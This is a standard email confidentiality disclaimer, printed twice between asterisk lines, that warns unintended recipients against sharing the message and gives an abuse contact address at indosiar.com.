This email and any materials attached are itended only for the use of the individual or entity to which it is addressed and any contain information that is privileged, confidential. If this reader of this email is not intended recipient, you are hereby notified that any dissemination, distribution or copying of this email is strictly prohibited. If you have this email in error, please notify the sender immediately by return email and delete it from your system, or you can inform by sent mail to abuse@indosiar.com
****************************************************
****************************************************
This email and any materials attached are itended only for the use of the individual or entity to which it is addressed and any contain information that is privileged, confidential. If this reader of this email is not intended recipient, you are hereby notified that any dissemination, distribution or copying of this email is strictly prohibited. If you have this email in error, please notify the sender immediately by return email and delete it from your system, or you can inform by sent mail to abuse@indosiar.com
****************************************************